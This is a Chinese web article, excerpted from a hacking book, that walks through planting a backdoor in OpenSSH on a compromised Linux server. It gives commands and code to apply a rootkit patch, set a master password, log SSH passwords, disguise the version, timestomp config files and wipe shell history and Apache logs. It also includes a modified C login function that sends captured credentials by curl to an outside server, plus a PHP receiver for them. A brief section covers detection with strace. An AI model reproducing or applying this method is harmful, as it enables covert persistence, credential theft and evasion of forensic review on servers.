您好,登錄后才能下訂單哦!
引言:相對于Windows,Linux操作系統的密碼較難獲取。不過很多Linux服務器配置了OpenSSH服務,在獲取root權限的情況下,可以通過修改或者更新OpenSSH代碼等方法,截取并保存其SSH登錄賬號和密碼,甚至可以留下一個隱形的后門,達到長期控制Linux服務器的目的。
很多入侵者在攻破一個Linux系統后,都會在系統中留下后門,用OpenSSH留后門是入侵者的慣用方式之一。OpenSSH后門比較難檢測,本文選自《黑客攻防:實戰加密與解密》將與您一起探討如何添加及防范OpenSSH后門。
OpenSSH是SSH(Secure Shell)協議的免費開源實現。很多人誤認為OpenSSH與OpenSSL有關聯,但實際上這兩個計劃有不同的目的和不同的發展團隊,名稱相近只是因為兩者有同樣的發展目標──提供開放源代碼的加密通信軟件。
OpenSSH是OpenBSD的子計劃,其官方網站地址為http://www.openssh.com/。OpenSSH的各個版本可以到其官網下載。
SSH協議族可以用來進行遠程控制,或者在計算機之間傳送文件。而實現此功能的傳統方式,如Telnet(終端仿真協議)、RCP、FTP、Rlogin、RSH,都是極不安全的,并且會使用明文傳送密碼。OpenSSH提供了服務端后臺程序和客戶端工具,用來加密遠程控件和文件傳輸過程中的數據,并由此來代替原來的類似服務。OpenSSH是通過計算機網絡使用SSH加密通信的實現,是取代由SSH Communications Security提供的商用版本的開放源代碼方案。在OpenSSH服務中,sshd是一個典型的獨立守護進程,OpenSSH服務可以通過“/etc/ssh/sshd_config”文件進行配置。OpenSSH支持SSH協議的1.3、1.5和2版本。自OpenSSH 2.9發布以來,默認的協議是版本2。
openssh-5.9p1.tar.gz的下載地址為http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz。
后門文件下載地址為http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1. patch.tar.gz。
準備Linux虛擬機Centos 6.4。
目前網上支持的SSH后門版本為5.9以下。如下圖,使用“ssh -V”命令獲取的OpenSSH版本信息為“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。
筆者未對高于5.9版本的SSH進行測試,但因為在Patch中可以直接修改banner的值,所以這在理論上是可行的。
注意:一定要將這里的版本號記錄下來,以便在編譯時將該信息進行偽裝。
如圖,將ssh_config和sshd_config分別備份為ssh_config.old和sshd_config.old。在Linux終端分別執行如下文件備份命令。
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
將sshbd.tgz下載到本地并解壓
執行以下命令。
tar zxvf sshbd.tgz cd openssh
如果使用官方安裝包openssh-5.9p1進行安裝,可以執行以下命令。
tar zxf openssh-5.9p1.tar tar zxf openssh-5.9p1.path.tar cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1 cd openssh-5.9p1 patch < sshbd5.9p1.diff
在OpenSSH目錄中找到includes.h文件,運行“vi includes.h”命令修改“define _SECRET_PASSWD”為我們的登錄密碼,如圖。
默認密碼記錄日志文件保存在“/usr/local/share/0wn”目錄下的slog和clog文件中。假設密碼為“995430aaa”,代碼如下。
define _SECRET_PASSWD " 995430aaa"
運行如下代碼。
./configure –prefix=/usr –sysconfdir=/etc/ssh make && make install
openssh-5.9p1需要使用下面的命令進行配置。
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
在編譯過程中可能會出現“configure: error: * zlib.h missing – please install first or check config.log”錯誤。此時,執行“yum install zlib-devel”和“yum install openssl openssl-devel”命令,安裝后再次進行編譯即可。
執行“/etc/init.d/sshd restart”命令,重啟SSHD服務。
執行以下命令,使ssh_config和sshd_config文件的修改時間與ssh_config.old和sshd_config.old文件一致。
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
使用“ssh -l root IP”命令登錄服務器,如“ssh -l root 192.168.52.175”。可以使用root的密碼,也可以使用后門設置的密碼“995430aaa”進行登錄。然后,訪問“/usr/local/ share/0wn”目錄,查看其記錄的密碼日志文件clog和slog,如下圖可以看到SSH登錄和本地root賬號登錄的密碼。
在實際測試過程中,還需要清除Apache日志。可供參考的日志清除命令如下。
export HISTFILE=/dev/null export HISTSIZE=0 cd /etc/httpd/logs/ sed -i ‘/192.168.52.175/d’ access_log* echo >/root/.bash_history //清空操作日志
前面記錄的密碼只能在Linux服務器上面看,也就是說,用戶必須擁有讀取文件的權限,如果沒有權限則無法登錄服務器。在這里,最好的方法是記錄的用戶、密碼和端口可以通過郵件或者HTTP直接發送到接收端(與黑產收信類似)。下面介紹具體實現方法。
<?php $username = $_POST['username']; $password = $_POST['password']; $host = $_POST['host']; $port = $_POST['port']; $time=date('Y-m-d H:i:s',time()); if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{ $fp = fopen("sshlog.txt","a+"); $result = "sername:.$username--->:Password:$password----->:Host:$host ----->:port:$port----->:time:$time";
fwrite($fp,$result);
fwrite($fp,"\r\n");
fclose($fp);
} ?>
int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; char *pass[200]; char szres[1024] = {0}; FILE *f; char *findport() { FILE *FTopen; char tempBuf[1024] = {0}; char *Filename = "/etc/ssh/sshd_config"; char *Filetext = "Port"; if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; } while(fgets(tempBuf, 1024, FTopen) != NULL) { if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; } memset(tempBuf, 0, 1024); } fclose(FTopen); return Filetext; } const char *host = options.host_key_alias ? options.host_key_alias : authctxt->host; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", authctxt->server_user, host); password = read_passphrase(prompt, 0); strcpy(pass,password); //截取密碼的時候把它復制到自定義的地方,以便調用 packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); if((f=fopen("/tmp/olog","a+"))!=NULL){ fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n", authctxt->server_user,pass,authctxt->host,findport()); fclose(f);} memset(szres,0,sizeof(szres)); snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password= %s&host=%s&port=%s\" http://www.antian365.com/ssh.php >/dev/null",authctxt-> server_user,pass, authctxt->host,findport()); system(szres); return 1; }
重新編譯,執行后會自動將密碼發送到服務器。但筆者在實際測試中并沒有達到這樣的效果,相關信息請讀者訪問http://0cx.cc/ssh_get_password.jspx查看并驗證。
OpenSSH后門的防范方法如下。
運行“ps aux | grep sshd”命令獲取可疑進程的PID,運行“strace -o aa -ff -p PID”命令進行跟蹤,成功登錄SSH后,在當前目錄下就生成了strace命令的輸出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看記錄文件。在上面的命令中,過濾錯誤信息、/dev/null信息和拒絕(denied)信息,找出打開了讀寫模式(WR)的文件(因為要把記錄的密碼寫入文件)。可以找到以讀寫方式記錄在文件中的SSH后門密碼文件的位置,并通過該方法判斷是否存在SSH后門。當然,也有不記錄密碼,而僅僅留下一個萬能SSH后門的情況。
獲取Linux的版本及其信息,命令如下。
cat /etc/issue uname –ar
獲取SSH版本的信息并記錄,命令如下。
ssh -V >ssh.txt
下載OpenSSH客戶端及后門程序,命令如下。網上還有一個版本sshd.tar.gz。
wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
備份SSH配置文件,命令如下。
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
安裝必備軟件,命令如下。
yum install -y openssl openssl-devel pam-devel zlib zlib-devel
解壓并安裝補丁,命令如下。
tar zxf openssh-5.9p1.tar.gz tar zxf openssh-5.9p1.tar.gz cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1 cd openssh-5.9p1 patch < sshbd5.9p1.diff
修改includes.h文件中記錄用戶名和密碼的文件位置及其密碼,命令如下。
#define ILOG "/tmp/ilog" //記錄登錄本機的用戶名和密碼 #define OLOG "/tmp/olog" //記錄本機登錄遠程的用戶名和密碼 #define SECRETPW "123456654321" //后門的密碼
修改version.h文件,使其修改后的版本信息為原始版本,命令如下。
#define SSH_VERSION "填入之前記下來的版本號,偽裝原版本" #define SSH_PORTABLE "小版本號"
安裝并編譯,命令如下。
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 make clean make && make install service sshd restart
恢復新配置文件的日期,使其與舊文件的日期一致。對ssh_config和sshd_config文件的內容進行對比,使其配置文件一致,然后修改文件日期。
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
清除操作日志,代碼如下。
export HISTFILE=/dev/null export HISTSIZE=0 cd /etc/httpd/logs/ sed -i ‘/192.168.52.175/d’ access_log* echo >/root/.bash_history //清空操作日志
本文選自《黑客攻防:實戰加密與解密》,點此鏈接可在博文視點官網查看此書。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。